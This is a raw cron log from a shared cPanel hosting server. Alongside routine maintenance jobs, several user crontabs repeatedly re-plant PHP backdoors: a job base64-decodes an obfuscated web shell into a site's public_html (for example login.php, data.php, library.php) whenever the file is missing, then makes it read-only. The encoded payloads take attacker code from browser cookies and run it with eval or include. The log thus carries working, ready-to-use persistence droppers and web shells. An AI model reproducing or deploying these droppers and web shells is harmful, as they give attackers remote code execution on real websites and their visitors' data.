"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:37:01 medusa CROND[9213]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:37:01 medusa CROND[9214]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:37:01 medusa CROND[9215]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 03:38:02 medusa CROND[28392]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 03:38:02 medusa CROND[28393]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:38:02 medusa CROND[28394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:38:02 medusa CROND[28395]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:38:02 medusa CROND[28399]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:38:02 medusa CROND[28402]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:38:02 medusa CROND[28403]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:38:02 medusa CROND[28409]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:38:02 medusa CROND[28411]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:38:02 medusa CROND[28415]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:38:02 medusa CROND[28418]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 03:38:02 medusa CROND[28421]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:38:02 medusa CROND[28427]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:39:01 medusa CROND[16211]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:39:01 medusa CROND[16212]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:39:01 medusa CROND[16213]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:39:01 medusa CROND[16214]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:39:01 medusa CROND[16217]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:39:01 medusa CROND[16218]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 03:39:01 medusa CROND[16219]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  2 03:39:01 medusa CROND[16222]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:39:01 medusa CROND[16224]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:39:01 medusa CROND[16220]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:39:01 medusa CROND[16228]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:39:01 medusa CROND[16223]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:39:01 medusa CROND[16227]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 03:39:01 medusa CROND[16221]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:40:01 medusa CROND[4682]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 03:40:01 medusa CROND[4792]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 03:40:01 medusa CROND[4914]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 03:40:01 medusa CROND[4915]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 03:40:01 medusa CROND[4917]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
